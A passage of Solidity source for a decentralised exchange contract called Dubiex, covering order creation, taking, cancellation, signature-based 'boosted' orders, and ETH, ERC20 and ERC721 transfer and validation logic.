) = DubiexLib.unpackOrderPairAddressType(packedOrderPair.takerPair);
orderPair.makerContractAddress = makerContractAddress;
orderPair.makerCurrencyType = makerCurrencyType;
orderPair.takerContractAddress = takerContractAddress;
orderPair.takerCurrencyType = takerCurrencyType;
return orderPair;
}
/**
* @dev Get an order pair by it's hash.
*/
function getOrderPairByHash(bytes32 orderPairHash)
public
view
returns (DubiexLib.OrderPair memory)
{
uint32 orderPairAlias = _orderPairAliasesByHash[orderPairHash];
return getOrderPairByAlias(orderPairAlias);
}
/**
* @dev Get an order pair alias by it's hash.
*/
function getOrderPairAliasByHash(bytes32 orderPairHash)
public
view
returns (uint32)
{
return _orderPairAliasesByHash[orderPairHash];
}
/**
* @dev Make a single order. Reverts on failure.
*
* If an `orderId` is provided, an already existing order will be updated
* according to `updatedWeiRatio`. For efficiency reasons, the id of the updated order
* remains the same. Taker orders provide a minimum ratio to protect themselves against
* front-running by the maker.
*
* Returns the assigned order id.
*/
function makeOrder(DubiexLib.MakeOrderInput memory input)
external
payable
nonReentrant
returns (uint32)
{
require(!_killSwitchOn, "Dubiex: make order prevented by kill switch");
uint256 excessEth = msg.value;
uint32 orderId;
(orderId, excessEth) = _makeOrderInternal({
input: input,
maker: msg.sender,
excessEthAndIntrinsicFuel: excessEth,
isBoosted: false,
revertOnUpdateError: true
});
_refundExcessEth(excessEth);
return orderId;
}
/**
* @dev Create multiple orders at once. The transaction won't revert if any make order fails, but
* silently ignore it. Returns an array of order ids where each item corresponds to an input
* at the same index and non-zero values indicate success.
*/
function makeOrders(DubiexLib.MakeOrderInput[] memory inputs)
external
payable
nonReentrant
returns (uint32[] memory)
{
require(!_killSwitchOn, "Dubiex: make order prevented by kill switch");
require(inputs.length > 0, "Dubiex: empty inputs");
uint32[] memory orderIds = new uint32[](inputs.length);
uint256 excessEth = msg.value;
for (uint256 i = 0; i < inputs.length; i++) {
uint32 orderId;
(orderId, excessEth) = _makeOrderInternal({
input: inputs[i],
maker: msg.sender,
excessEthAndIntrinsicFuel: excessEth,
isBoosted: false,
revertOnUpdateError: false
});
orderIds[i] = orderId;
}
_refundExcessEth(excessEth);
return orderIds;
}
/**
* @dev Take a single order. Reverts on failure.
*/
function takeOrder(DubiexLib.TakeOrderInput calldata input)
external
payable
nonReentrant
{
require(!_killSwitchOn, "Dubiex: take order prevented by kill switch");
uint256 excessEth = msg.value;
(, excessEth, ) = _takeOrderInternal({
input: input,
taker: msg.sender,
excessEthAndIntrinsicFuel: excessEth,
revertOnError: true,
isBoosted: false
});
_refundExcessEth(excessEth);
}
/**
* @dev Take multiple orders at once. The transaction won't revert if any take order fails, but
* silently ignore it. Check the logs in the receipt to see if any failed.
*
* See `takeOrder` for more information about the opt-in.
*
* @param inputs the take order inputs
*/
function takeOrders(DubiexLib.TakeOrderInput[] calldata inputs)
external
payable
nonReentrant
returns (bool[] memory)
{
require(!_killSwitchOn, "Dubiex: take order prevented by kill switch");
require(inputs.length > 0, "Dubiex: empty inputs");
bool[] memory result = new bool[](inputs.length);
uint256 excessEth = msg.value;
for (uint256 i = 0; i < inputs.length; i++) {
bool success;
(success, excessEth, ) = _takeOrderInternal({
input: inputs[i],
taker: msg.sender,
excessEthAndIntrinsicFuel: uint96(excessEth),
revertOnError: false,
isBoosted: false
});
result[i] = success;
}
_refundExcessEth(excessEth);
return result;
}
/**
* @dev Cancel a single order.
*/
function cancelOrder(DubiexLib.CancelOrderInput memory input)
external
nonReentrant
{
_cancelOrderInternal({
maker: input.maker,
id: input.id,
intrinsicFuel: 0,
isBoosted: false,
revertOnError: true,
isKillSwitchOn: _killSwitchOn
});
}
/**
* @dev Cancel multiple orders at once. It will not revert on error, but ignore failed
* orders silently. Check the logs in the receipt to see if any failed.
*
* @return Array of booleans with `ids.length` items where each item corresponds to an id
* at the same index and `true` indicate success.
*/
function cancelOrders(DubiexLib.CancelOrderInput[] calldata inputs)
external
nonReentrant
returns (bool[] memory)
{
require(inputs.length > 0, "Dubiex: empty inputs");
bool[] memory result = new bool[](inputs.length);
bool isKillSwitchOn = _killSwitchOn;
for (uint256 i = 0; i < inputs.length; i++) {
result[i] = _cancelOrderInternal({
maker: inputs[i].maker,
id: inputs[i].id,
intrinsicFuel: 0,
isBoosted: false,
revertOnError: false,
isKillSwitchOn: isKillSwitchOn
});
}
return result;
}
/**
* @dev Create an order for the signer of `signature`.
*/
function boostedMakeOrder(
BoostedMakeOrder memory order,
Signature memory signature
) public payable nonReentrant returns (uint32) {
require(!_killSwitchOn, "Dubiex: make order prevented by kill switch");
uint32 orderId;
uint256 excessEth = msg.value;
(orderId, excessEth) = _boostedMakeOrderInternal(
order,
signature,
excessEth,
true
);
_refundExcessEth(excessEth);
return orderId;
}
function _boostedMakeOrderInternal(
BoostedMakeOrder memory order,
Signature memory signature,
uint256 excessEth,
bool revertOnUpdateError
) private returns (uint32, uint256) {
uint96 intrinsicFuel = _burnFuel(order.maker, order.fuel);
// We optimize ERC721 sell orders by not increasing the
// nonce, because every ERC721 is unique - trying to replay the
// transaction while the signature hasn't expired yet is almost
// guaranteed to always fail. The only scenarios where it would be
// possible is:
// - if the order gets cancelled
// - the order is filled by the maker OR the taker sends it back to the maker
//
// But this all has to happen in a very short timeframe, so the chance of this happening
// is really low.
//
if (
order.input.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721
) {
_verifyBoostWithoutNonce(
order.maker,
hashBoostedMakeOrder(order, msg.sender),
order.boosterPayload,
signature
);
} else {
verifyBoost(
order.maker,
hashBoostedMakeOrder(order, msg.sender),
order.boosterPayload,
signature
);
}
uint32 orderId;
// Encode the intrinsic fuel in the upper bits of the excess eth,
// because we are hitting 'CompilerError: Stack too deep'.
uint256 excessEthAndIntrinsicFuel = excessEth;
excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96;
(orderId, excessEth) = _makeOrderInternal({
maker: order.maker,
input: order.input,
excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel,
isBoosted: true,
revertOnUpdateError: revertOnUpdateError
});
return (orderId, excessEth);
}
/**
* @dev Take an order for the signer of `signature`.
*/
function boostedTakeOrder(
BoostedTakeOrder memory order,
Signature memory signature
) public payable nonReentrant {
require(!_killSwitchOn, "Dubiex: take order prevented by kill switch");
uint256 excessEth = _boostedTakeOrderInternal({
order: order,
signature: signature,
excessEth: msg.value,
revertOnError: true
});
_refundExcessEth(excessEth);
}
function _boostedTakeOrderInternal(
BoostedTakeOrder memory order,
Signature memory signature,
uint256 excessEth,
bool revertOnError
) private returns (uint256) {
uint96 intrinsicFuel = _burnFuel(order.taker, order.fuel);
// Encode the intrinsic fuel in the upper bits of the excess eth,
// because we are hitting 'CompilerError: Stack too deep'.
uint256 excessEthAndIntrinsicFuel = excessEth;
excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96;
DubiexLib.CurrencyType takerCurrencyType;
(, excessEth, takerCurrencyType) = _takeOrderInternal({
input: order.input,
taker: order.taker,
excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel,
revertOnError: revertOnError,
isBoosted: true
});
// We optimize ERC721 take orders by not increasing the
// nonce, because every ERC721 is unique - trying to replay the
// transaction will always fail, since once taken - the target order doesn't
// exist anymore and thus cannot be filled ever again.
if (takerCurrencyType == DubiexLib.CurrencyType.ERC721) {
_verifyBoostWithoutNonce(
order.taker,
hashBoostedTakeOrder(order, msg.sender),
order.boosterPayload,
signature
);
} else {
verifyBoost(
// The signer of the boosted message
order.taker,
hashBoostedTakeOrder(order, msg.sender),
order.boosterPayload,
signature
);
}
return excessEth;
}
/**
* @dev Cancel an order for the signer of `signature`.
*/
function boostedCancelOrder(
BoostedCancelOrder memory order,
Signature memory signature
) public payable nonReentrant {
bool isKillSwitchOn = _killSwitchOn;
_boostedCancelOrderInternal(order, signature, true, isKillSwitchOn);
}
function _boostedCancelOrderInternal(
BoostedCancelOrder memory order,
Signature memory signature,
bool reverOnError,
bool isKillSwitchOn
) private {
uint96 intrinsicFuel = _burnFuel(order.input.maker, order.fuel);
// We do not need a nonce, since once cancelled the order id can never be re-used again
_verifyBoostWithoutNonce(
order.input.maker,
hashBoostedCancelOrder(order, msg.sender),
order.boosterPayload,
signature
);
// Encode the intrinsic fuel in the upper bits of the excess eth,
// (which for cancel order is always 0), because we are hitting 'CompilerError: Stack too deep'.
uint256 excessEthAndIntrinsicFuel;
excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96;
_cancelOrderInternal({
maker: order.input.maker,
id: order.input.id,
isBoosted: true,
intrinsicFuel: excessEthAndIntrinsicFuel,
revertOnError: reverOnError,
isKillSwitchOn: isKillSwitchOn
});
}
/**
* @dev Perform multiple `boostedMakeOrder` calls in a single transaction.
*/
function boostedMakeOrderBatch(
BoostedMakeOrder[] calldata orders,
Signature[] calldata signatures
) external payable nonReentrant {
require(!_killSwitchOn, "Dubiex: make order prevented by kill switch");
require(
orders.length > 0 && orders.length == signatures.length,
"Dubiex: invalid input lengths"
);
uint256 excessEth = msg.value;
for (uint256 i = 0; i < orders.length; i++) {
(, excessEth) = _boostedMakeOrderInternal(
orders[i],
signatures[i],
uint96(excessEth),
false
);
}
}
/**
* @dev Perform multiple `boostedTakeOrder` calls in a single transaction.
*/
function boostedTakeOrderBatch(
BoostedTakeOrder[] memory boostedTakeOrders,
Signature[] calldata signatures
) external payable nonReentrant {
require(!_killSwitchOn, "Dubiex: take order prevented by kill switch");
require(
boostedTakeOrders.length > 0 &&
boostedTakeOrders.length == signatures.length,
"Dubiex: invalid input lengths"
);
uint256 excessEth = msg.value;
for (uint256 i = 0; i < boostedTakeOrders.length; i++) {
excessEth = _boostedTakeOrderInternal(
boostedTakeOrders[i],
signatures[i],
uint96(excessEth),
false
);
}
_refundExcessEth(excessEth);
}
/**
* @dev Perform multiple `boostedCancelOrder` calls in a single transaction.
*/
function boostedCancelOrderBatch(
BoostedCancelOrder[] memory orders,
Signature[] calldata signatures
) external payable nonReentrant returns (uint32) {
require(
orders.length > 0 && orders.length == signatures.length,
"Dubiex: invalid input lengths"
);
bool isKillSwitchOn = _killSwitchOn;
for (uint256 i = 0; i < orders.length; i++) {
_boostedCancelOrderInternal(
orders[i],
signatures[i],
false,
isKillSwitchOn
);
}
}
/**
* @dev Create a new single order.
*
* @return the assigned order id
*/
function _makeOrderInternal(
DubiexLib.MakeOrderInput memory input,
address payable maker,
uint256 excessEthAndIntrinsicFuel,
bool isBoosted,
bool revertOnUpdateError
) private returns (uint32, uint256) {
require(
maker != address(this) && maker != address(0),
"Dubiex: unexpected maker"
);
// An explicit id means an existing order should be updated.
if (input.orderId > 0) {
return (
_updateOrder(
maker,
input.orderId,
input.updatedRatioWei,
revertOnUpdateError
),
// Update order never uses eth, so we refund everything in case something was mistakenly sent
uint96(excessEthAndIntrinsicFuel)
);
}
// Reverts if the input is invalid
require(input.makerValue > 0, "Dubiex: makerValue must be greater 0");
require(input.takerValue > 0, "Dubiex: takerValue must be greater 0");
// Reverts if the order pair is incompatible
uint32 orderPairAlias = _getOrCreateOrderPairAlias(input.pair);
// Deposit the makerValue, which will fail if no approval has been given
// or the maker hasn't enough funds.
// NOTE(reentrancy): safe, because we are using `nonReentrant` for makeOrder(s).
// NOTE2: _transfer returns the *excessEth* only, but we reuse the 'excessEthAndIntrinsicFuel' variable
// to work around 'CompilerError: Stack too deep'.
bool deposited;
(deposited, excessEthAndIntrinsicFuel) = _transfer({
from: maker,
to: payable(address(this)),
value: input.makerValue,
valueContractAddress: input.pair.makerContractAddress,
valueCurrencyType: input.pair.makerCurrencyType,
excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel,
isBoosted: isBoosted
});
require(deposited, "Dubiex: failed to deposit. not enough funds?");
// Create the orderbook item
DubiexLib.PackedOrderBookItem memory _packed;
DubiexLib.UnpackedOrderBookItem memory _unpacked;
_unpacked.id = _getNextOrderId(maker);
_unpacked.makerValue = input.makerValue;
_unpacked.takerValue = input.takerValue;
_unpacked.orderPairAlias = orderPairAlias;
_unpacked.flags.isMakerERC721 =
input.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721;
_unpacked.flags.isTakerERC721 =
input.pair.takerCurrencyType == DubiexLib.CurrencyType.ERC721;
// Update ancestor order if any
_updateOrderAncestorIfAny(input, maker, _unpacked, _packed);
// Pack unpacked data and write to storage
_packed.packedData = DubiexLib.packOrderBookItem(_unpacked);
_ordersByAddress[maker].push(_packed);
// Emit event and done
uint256 packedData;
packedData |= input.makerValue;
packedData |= uint256(input.takerValue) << 96;
packedData |= uint256(orderPairAlias) << (96 + 96);
emit MadeOrder(_unpacked.id, maker, packedData);
return (_unpacked.id, excessEthAndIntrinsicFuel);
}
function _updateOrderAncestorIfAny(
DubiexLib.MakeOrderInput memory input,
address maker,
DubiexLib.UnpackedOrderBookItem memory unpacked,
DubiexLib.PackedOrderBookItem memory packed
) private {
// If an ancestor is provided, we check if it exists and try to make this order
// an successor of it. If it succeeds, then this order ends up being hidden.
if (input.ancestorOrderId > 0) {
packed.ancestorOrderId = input.ancestorOrderId;
bool success = _setSuccessorOfAncestor(
maker,
input.ancestorOrderId,
unpacked.id
);
// New successor order must be hidden if it has an existing ancestor now
unpacked.flags.isHidden = success;
}
}
/**
* @dev Take a make order.
* @param input the take order input.
* @param taker address of the taker
* @param revertOnError whether to revert on errors or not. True, when taking a single order.
*
*/
function _takeOrderInternal(
address payable taker,
DubiexLib.TakeOrderInput memory input,
uint256 excessEthAndIntrinsicFuel,
bool revertOnError,
bool isBoosted
)
private
returns (
bool,
uint256,
DubiexLib.CurrencyType
)
{
(
DubiexLib.PackedOrderBookItem storage _packed,
DubiexLib.UnpackedOrderBookItem memory _unpacked,
uint256 index
) = _assertTakeOrderInput(input, revertOnError);
// Order doesn't exist or input is invalid.
if (_unpacked.id == 0) {
// Only gets here if 'revertOnError' is false
return (
false,
uint96(excessEthAndIntrinsicFuel),
DubiexLib.CurrencyType.NULL
);
}
// Get the actual makerValue, which might just be a fraction of the total
// `takerValue` of the `_makeOrder`.
(uint96 _makerValue, uint96 _takerValue) = _calculateMakerAndTakerValue(
_unpacked,
input.takerValue,
input.maxTakerMakerRatio
);
if (_makerValue == 0 || _takerValue == 0) {
if (revertOnError) {
revert("Dubiex: invalid takerValue");
}
return (
false,
uint96(excessEthAndIntrinsicFuel),
DubiexLib.CurrencyType.NULL
);
}
// Transfer from taker to maker
// NOTE(reentrancy): `takeOrder(s)` is marked nonReentrant
// NOTE2: _transferFromTakerToMaker returns the *excessEth* only, but we reuse the 'excessEthAndIntrinsicFuel' variable
// to work around 'CompilerError: Stack too deep'.
excessEthAndIntrinsicFuel = _transferFromTakerToMaker(
taker,
input.maker,
_takerValue,
_unpacked.pair,
excessEthAndIntrinsicFuel,
isBoosted
);
// Transfer from maker to taker
// NOTE(reentrancy): `takeOrder(s)` is marked nonReentrant
if (
!_transferFromContractToTaker(
taker,
_makerValue,
_unpacked.pair,
false,
0
)
) {
if (revertOnError) {
revert("Dubiex: failed to transfer value to taker");
}
return (
false,
excessEthAndIntrinsicFuel,
DubiexLib.CurrencyType.NULL
);
}
// If filled, the order can be deleted (without having to update the maker/taker value)
if (_unpacked.makerValue - _makerValue == 0) {
// Make successor of filled order visible if any.
if (_unpacked.flags.hasSuccessor) {
_setOrderVisible(input.maker, _packed.successorOrderId);
}
// Delete the filled order
_deleteOrder({maker: input.maker, index: index});
} else {
// Not filled yet, so update original make order
_unpacked.makerValue -= _makerValue;
_unpacked.takerValue -= _takerValue;
// Write updated item to storage
_packed.packedData = DubiexLib.packOrderBookItem(_unpacked);
}
// NOTE: We write the new taker/maker value to the in-memory struct
// and pass it to a function that emits 'TookOrder' to avoid the 'Stack too deep' error
_unpacked.makerValue = _makerValue;
_unpacked.takerValue = _takerValue;
return
_emitTookOrder(
input.maker,
taker,
_unpacked,
excessEthAndIntrinsicFuel
);
}
/**
* @dev Emit 'TookOrder' in a separate function to avoid the 'Stack too deep' error
*/
function _emitTookOrder(
address maker,
address taker,
DubiexLib.UnpackedOrderBookItem memory unpacked,
uint256 excessEthAndIntrinsicFuel
)
private
returns (
bool,
uint256,
DubiexLib.CurrencyType
)
{
uint256 packedData;
packedData |= unpacked.makerValue;
packedData |= uint256(unpacked.takerValue) << 96;
packedData |= uint256(unpacked.orderPairAlias) << (96 + 96);
emit TookOrder(unpacked.id, maker, taker, packedData);
return (
true,
excessEthAndIntrinsicFuel,
unpacked.pair.takerCurrencyType
);
}
/**
* @dev Cancel an order
* @param maker the maker of the order
* @param id the id of the order to cancel
* @param revertOnError whether to revert on errors or not
*/
function _cancelOrderInternal(
address payable maker,
uint32 id,
uint256 intrinsicFuel,
bool isBoosted,
bool revertOnError,
bool isKillSwitchOn
) private returns (bool) {
// Anyone can cancel any order if the kill switch is on.
// For efficiency, we do not need to check the kill switch if this is a boosted cancel order,
// because in that case we already have the explicit consent of the maker.
// If it's neither a boosted cancel nor a post-kill switch cancel, the msg.sender must be the maker.
if (!isBoosted && !isKillSwitchOn) {
require(maker == msg.sender, "Dubiex: msg.sender must be maker");
}
if (!revertOnError && !_orderExists(maker, id)) {
return false;
}
// Get the make order (reverts if order doesn't exist)
(
,
DubiexLib.UnpackedOrderBookItem memory unpacked,
uint256 index
) = _safeGetOrder(maker, id, DubiexLib.OrderPairReadStrategy.MAKER);
// Transfer remaining `makerValue` back to maker, by assuming the taker role with the maker.
// NOTE(reentrancy): `cancelOrder(s)` is marked nonReentrant
if (
!_transferFromContractToTaker({
taker: maker,
makerValue: unpacked.makerValue,
pair: unpacked.pair,
isBoosted: isBoosted,
excessEthAndIntrinsicFuel: intrinsicFuel
})
) {
return false;
}
// Delete the cancelled order
_deleteOrder({maker: maker, index: index});
emit CanceledOrder(maker, id);
return true;
}
/**
* @dev Update the `takerValue` of an order using the given `updatedRatioWei`
* @param maker the maker of the order to update
* @param orderId the id of the existing order
* @param updatedRatioWei the new ratio in wei
*/
function _updateOrder(
address maker,
uint32 orderId,
uint128 updatedRatioWei,
bool revertOnUpdateError
) private returns (uint32) {
(
DubiexLib.PackedOrderBookItem storage _packed,
DubiexLib.UnpackedOrderBookItem memory _unpacked,
) = _getOrder(maker, orderId, DubiexLib.OrderPairReadStrategy.SKIP);
// Order doesn't exist
if (_unpacked.id == 0) {
if (revertOnUpdateError) {
revert("Dubiex: order does not exist");
}
return 0;
}
// We don't prevent reverts here, even if `revertOnUpdateError` is false since
// they are user errors unlike a non-existing order which a user has no control over.
require(updatedRatioWei > 0, "Dubiex: ratio is 0");
require(
!_unpacked.flags.isMakerERC721 && !_unpacked.flags.isTakerERC721,
"Dubiex: cannot update ERC721 value"
);
// Update the existing order with the new ratio to the takerValue.
// The makerValue stays untouched.
uint256 updatedTakerValue = (uint256(_unpacked.makerValue) *
uint256(updatedRatioWei)) / 1 ether;
require(updatedTakerValue < 2**96, "Dubiex: takerValue overflow");
_unpacked.takerValue = uint96(updatedTakerValue);
_packed.packedData = DubiexLib.packOrderBookItem(_unpacked);
emit UpdatedOrder(maker, orderId);
return orderId;
}
// If both returned values are > 0, then the provided `takerValue` and `maxTakerMakerRatio` are valid.
function _calculateMakerAndTakerValue(
DubiexLib.UnpackedOrderBookItem memory _unpacked,
uint96 takerValue,
uint256 maxTakerMakerRatio
) private pure returns (uint96, uint96) {
uint256 calculatedMakerValue = _unpacked.makerValue;
uint256 calculatedTakerValue = takerValue;
// ERC721 cannot be bought/sold partially, therefore the `takerValue` must match the requested
// value exactly.
if (
_unpacked.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721 ||
_unpacked.pair.takerCurrencyType == DubiexLib.CurrencyType.ERC721
) {
if (takerValue != _unpacked.takerValue) {
return (0, 0);
}
// The order gets filled completely, so we use the values as is.
} else {
// Calculate the current takerMakerValue ratio and compare it to `maxTakerMakerRatio`.
// If it is higher then the order will not be taken.
uint256 takerMakerRatio = (uint256(_unpacked.takerValue) *
1 ether) / calculatedMakerValue;
if (maxTakerMakerRatio < takerMakerRatio) {
return (0, 0);
}
if (calculatedTakerValue > _unpacked.takerValue) {
calculatedTakerValue = _unpacked.takerValue;
}
// Calculate actual makerValue for ETH/ERC20 trades which might only get partially filled by the
// takerValue. Since we don't have decimals, we need to multiply by 10^18 and divide by it again at the end
// to not lose any information.
calculatedMakerValue *= 1 ether;
calculatedMakerValue *= calculatedTakerValue;
calculatedMakerValue /= _unpacked.takerValue;
calculatedMakerValue /= 1 ether;
}
// Sanity checks
assert(
calculatedMakerValue < 2**96 &&
calculatedMakerValue <= _unpacked.makerValue
);
assert(
calculatedTakerValue < 2**96 &&
calculatedTakerValue <= _unpacked.takerValue
);
return (uint96(calculatedMakerValue), uint96(calculatedTakerValue));
}
/**
* @dev Assert a take order input and return the order. If a zero-order is returned,
* then it does not exist and it is up to the caller how to handle it.
*/
function _assertTakeOrderInput(
DubiexLib.TakeOrderInput memory input,
bool revertOnError
)
private
view
returns (
DubiexLib.PackedOrderBookItem storage,
DubiexLib.UnpackedOrderBookItem memory,
uint256 // index
)
{
(
DubiexLib.PackedOrderBookItem storage packed,
DubiexLib.UnpackedOrderBookItem memory unpacked,
uint256 index
) = _getOrder(
input.maker,
input.id,
DubiexLib.OrderPairReadStrategy.FULL
);
bool validTakerValue = input.takerValue > 0;
bool orderExistsAndNotHidden = unpacked.id > 0 &&
!unpacked.flags.isHidden;
if (revertOnError) {
require(validTakerValue, "Dubiex: takerValue must be greater 0");
require(orderExistsAndNotHidden, "Dubiex: order does not exist");
} else {
if (!validTakerValue || !orderExistsAndNotHidden) {
DubiexLib.UnpackedOrderBookItem memory emptyUnpacked;
return (emptyOrder, emptyUnpacked, 0);
}
}
return (packed, unpacked, index);
}
function _orderExists(address maker, uint32 id)
private
view
returns (bool)
{
// Since we don't want to revert for cancelOrders, we have to check that the order
// (maker, id) exists by looping over the orders of the maker and comparing the id.
DubiexLib.PackedOrderBookItem[] storage orders
= _ordersByAddress[maker];
uint256 length = orders.length;
for (uint256 i = 0; i < length; i++) {
// The first 32 bits of the packed data corresponds to the id. By casting to uint32,
// we can compare the id without having to unpack the entire thing.
uint32 orderId = uint32(orders[i].packedData);
if (orderId == id) {
// Found order
return true;
}
}
// Doesn't exist
return false;
}
function _refundExcessEth(uint256 excessEth) private {
// Casting to uint96 to get rid off any of the higher utility bits
excessEth = uint96(excessEth);
// Sanity check
assert(msg.value >= excessEth);
if (excessEth > 0) {
msg.sender.transfer(excessEth);
}
}
// Transfer `takerValue` to `maker`.
function _transferFromTakerToMaker(
address payable taker,
address payable maker,
uint96 takerValue,
DubiexLib.OrderPair memory pair,
uint256 excessEthAndIntrinsicFuel,
bool isBoosted
) private returns (uint256) {
(bool success, uint256 excessEth) = _transfer(
taker,
maker,
takerValue,
pair.takerContractAddress,
pair.takerCurrencyType,
excessEthAndIntrinsicFuel,
isBoosted
);
require(success, "Dubiex: failed to transfer value to maker");
return excessEth;
}
// Transfer `makerValue` to `taker`
function _transferFromContractToTaker(
address payable taker,
uint96 makerValue,
DubiexLib.OrderPair memory pair,
bool isBoosted,
uint256 excessEthAndIntrinsicFuel
) private returns (bool) {
(bool success, ) = _transfer(
payable(address(this)),
taker,
makerValue,
pair.makerContractAddress,
pair.makerCurrencyType,
excessEthAndIntrinsicFuel,
isBoosted
);
return success;
}
function _transfer(
address payable from,
address payable to,
uint256 value,
address valueContractAddress,
DubiexLib.CurrencyType valueCurrencyType,
uint256 excessEthAndIntrinsicFuel,
bool isBoosted
) private returns (bool, uint256) {
uint256 excessEth = uint96(excessEthAndIntrinsicFuel);
if (valueCurrencyType == DubiexLib.CurrencyType.ETH) {
// Eth is a bit special, because it's not a token. Therefore we need to ensure
// that the taker/maker sent enough eth (`excessEth` >= `value`) and also that
// he is refunded at the end of the transaction properly.
if (from != address(this)) {
if (excessEth < value) {
return (false, excessEth);
}
// Got enough eth, but maybe too much, so we subtract the value from the excessEth. This is important
// to refund the sender correctly e.g. he mistakenly sent too much or the order
// was partially filled while his transaction was pending.
excessEth -= value;
}
// Not a deposit, so transfer eth owned by this contract to maker or taker
if (to != address(this)) {
to.transfer(value);
}
return (true, excessEth);
}
if (valueCurrencyType == DubiexLib.CurrencyType.ERC20) {
IERC20 erc20 = IERC20(valueContractAddress);
uint256 recipientBalanceBefore = erc20.balanceOf(to);
if (from == address(this)) {
// If sending own tokens, use `safeTransfer` because Dubiex doesn't have any allowance
// for itself which would cause `safeTransferFrom` to fail.
erc20.safeTransfer(to, value);
} else {
erc20.safeTransferFrom(from, to, value);
}
uint256 recipientBalanceAfter = erc20.balanceOf(to);
// Safe guard to minimize the risk of getting buggy orders if the contract
// deviates from the ERC20 standard.
require(
recipientBalanceAfter == recipientBalanceBefore + value,
"Dubiex: failed to transfer ERC20 token"
);
return (true, excessEth);
}
if (valueCurrencyType == DubiexLib.CurrencyType.BOOSTABLE_ERC20) {
IBoostableERC20 erc20 = IBoostableERC20(valueContractAddress);
if (from == address(this)) {
// If sending own tokens, use `safeTransfer`, because Dubiex doesn't have any allowance
// for itself which would cause `permissionSend` to fail.
IERC20(address(erc20)).safeTransfer(to, value);
} else {
bool success = erc20.boostedTransferFrom(
from,
to,
value,
abi.encodePacked(isBoosted)
);
require(
success,
"Dubiex: failed to transfer boosted ERC20 token"
);
}
return (true, excessEth);
}
if (valueCurrencyType == DubiexLib.CurrencyType.ERC721) {
IERC721 erc721 = IERC721(valueContractAddress);
// Pass isBoosted flag + fuel if any
erc721.safeTransferFrom(
from,
to,
value,
abi.encodePacked(
isBoosted,
uint96(excessEthAndIntrinsicFuel >> 96)
)
);
// Safe guard to minimize the risk of getting buggy orders if the contract
// deviates from the ERC721 standard.
require(
erc721.ownerOf(value) == to,
"Dubiex: failed to transfer ERC721 token"
);
return (true, excessEth);
}
revert("Dubiex: unexpected currency type");
}
/**
* @dev Validates that the given contract address and currency type are compatible.
* @param currencyType type of the currency
* @param contractAddress the contract address associated with currency
*/
function _validateCurrencyType(
DubiexLib.CurrencyType currencyType,
address contractAddress
) private returns (bool) {
if (currencyType == DubiexLib.CurrencyType.ETH) {
require(
contractAddress == address(0),
"Dubiex: expected zero address"
);
return true;
}
if (currencyType == DubiexLib.CurrencyType.ERC721) {
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
//
// `contractAddress` must implement the ERC721 standard. According to the ERC721 standard
// every compliant token is also expected to use ERC165 for that.
require(
IERC165(contractAddress).supportsInterface(
_ERC721_INTERFACE_HASH
),
"Dubiex: not ERC721 compliant"
);
return true;
}
if (currencyType == DubiexLib.CurrencyType.BOOSTABLE_ERC20) {
// The contract must implement the BOOSTABLE_ERC20 interface
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(
contractAddress,
_BOOSTABLE_ERC20_TOKEN_HASH
);
require(
implementer != address(0),
"Dubiex: not BoostableERC20 compliant"
);
return true;
}
if (currencyType == DubiexLib.CurrencyType.ERC20) {
// Using `call` is our last-resort to check if the given contract implements
// ERC721, since we can't just call `supportsInterface` directly without reverting
// if `contractAddress` doesn't implement it. Unlike above, where we want an ERC721,
// so reverting is fine for non-ERC721 contracts.
//
// NOTE: bytes4(keccak256(supportsInterface(bytes4))) => 0x01ffc9a7
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory result) = contractAddress.call(
abi.encodeWithSelector(0x01ffc9a7, _ERC721_INTERFACE_HASH)
);
// The call above must either fail (success = false) or if it succeeds,
// return false.
bool isERC721 = false;
if (result.length > 0) {
isERC721 = abi.decode(result, (bool));
}
require(!success || !isERC721, "Dubiex: ERC20 implements ERC721");
// Lastly, we heuristically check if it responds to `balanceOf`.
// If it succeeds, we assume it is an ERC20.
// NOTE: bytes4(keccak256(balanceOf(address))) => 0x70a08231
result = Address.functionCall(
contractAddress,
abi.encodeWithSelector(0x70a08231, contractAddress)
);
require(result.length > 0, "Dubiex: not ERC20 compliant");
return true;
}
return false;
}
/**
* @dev Increment the order id counter and return the new id.
*/
function _getNextOrderId(address account) private returns (uint32) {
uint32 currentId = _counters[account];
assert(currentId < 2**32);
uint32 nextId = currentId + 1;
_counters[account] = nextId;
return nextId;
}
/**
* @dev Get or create order pair alias from the given order pair.
*/
function _getOrCreateOrderPairAlias(DubiexLib.OrderPair memory pair)
private
returns (uint32)
{
bytes32 orderPairHash = keccak256(
abi.encode(
pair.makerContractAddress,
pair.takerContractAddress,
pair.makerCurrencyType,
pair.takerCurrencyType
)
);
uint32 orderPairAlias = _orderPairAliasesByHash[orderPairHash];
// If it doesn't exist yet, we create it (which makes the make order for the caller a bit more expensive).
if (orderPairAlias == 0) {
require(
_validateCurrencyType(
pair.makerCurrencyType,
pair.makerContractAddress
),
"Dubiex: makerContractAddress and currencyType mismatch"
);
require(
_validateCurrencyType(
pair.takerCurrencyType,
pair.takerContractAddress
),
"Dubiex: takerContractAddress and currencyType mismatch"
);
uint32 orderPairAliasCounter = _orderPairAliasCounter;
orderPairAliasCounter++;
orderPairAlias = orderPairAliasCounter;
_orderPairAliasCounter = orderPairAliasCounter;
// Write mappings
_orderPairAliasesByHash[orderPairHash] = orderPairAlias;
_orderPairsByAlias[orderPairAlias] = DubiexLib.packOrderPair(pair);
}
return orderPairAlias;
}
function _safeGetOrderPairByAlias(
uint32 orderPairAlias,
DubiexLib.OrderPairReadStrategy strategy
) private view returns (DubiexLib.OrderPair memory) {
DubiexLib.OrderPair memory _unpackedOrderPair;
if (strategy == DubiexLib.OrderPairReadStrategy.SKIP) {
return _unpackedOrderPair;
}
DubiexLib.PackedOrderPair storage _pairStorage
= _orderPairsByAlias[orderPairAlias];
// Read only maker info if requested
if (
strategy == DubiexLib.OrderPairReadStrategy.MAKER ||
strategy == DubiexLib.OrderPairReadStrategy.FULL
) {
(
address makerContractAddress,
